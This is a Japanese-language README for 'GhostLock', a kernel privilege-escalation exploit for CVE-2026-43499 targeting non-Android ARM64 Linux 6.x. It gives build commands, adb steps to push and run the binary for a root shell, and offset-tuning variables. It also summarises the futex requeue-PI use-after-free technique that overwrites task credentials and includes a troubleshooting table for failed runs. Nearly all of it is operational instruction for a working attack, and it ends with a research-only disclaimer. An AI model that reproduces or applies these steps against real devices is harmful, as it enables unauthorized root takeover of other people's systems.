
GhostLock (CVE-2026-43499) の非Android Linux 6.x ARM64向け適応
非 Android Linux 6.x ARM64 カーネル向けの GhostLock (CVE-2026-43499) 権限昇格エクスプロイト。
| 項目 | 値 |
|---|---|
| アーキテクチャ | ARM64 (AArch64) |
| VA_BITS | 39 |
| KIMAGE_TEXT_BASE | 0xffffffc008000000 |
| カーネルバージョン | 6.x |
| SELinux | なし |
| ashmem | なし |
| configfs | なし |
make
make android-arm64 NDK=/path/to/android-ndk
プッシュ後に自動でビルドがトリガーされ、artifact をダウンロードできます。
# ターゲットデバイスへプッシュ
adb push ghostlock-arm64 /data/local/tmp/e
adb shell chmod 755 /data/local/tmp/e
# root シェルを取得
adb shell /data/local/tmp/e --shell
# pselect オフセットを調整 (デフォルト値が動作しない場合)
adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell
# 物理ロードアドレスを指定
adb shell KPHYS=0x80000000 /data/local/tmp/e --shell
| 変数 | デフォルト値 | 説明 |
|---|---|---|
PSELECT_SHIFT | -2 | pselect waiter のスタック上のオフセット調整 |
KPHYS | 0x80000000 | カーネル物理ロードアドレス |
KIMAGE_TEXT_BASE | 0xffffffc008000000 | カーネル仮想ベースアドレス |
FUTEX_CMP_REQUEUE_PI が remove_waiter() の UAF をトリガーrt_mutex_waiter が stack_fds バッファに配置されるtask_struct->cred を init_cred で上書きこのバージョンは ghostlock-oneplus を基に簡素化されています:
| 現象 | 考えられる原因 | 解決方法 |
|---|---|---|
| デバイスが再起動する | PSELECT_SHIFT が誤っている | -4 から +4 まで順に試す |
| 効果がない | KPHYS が誤っている | /proc/iomem の正しい値を確認する |
| perf_event_open failed | seccomp 制限 | ADB シェル経由で実行してみる |
| root になれない | オフセットが一致しない | カーネルバージョンを確認し、TASK_CRED_OFF をチェックする |
本ツールはセキュリティ研究のみを目的としています。使用者はすべての責任を負うものとします。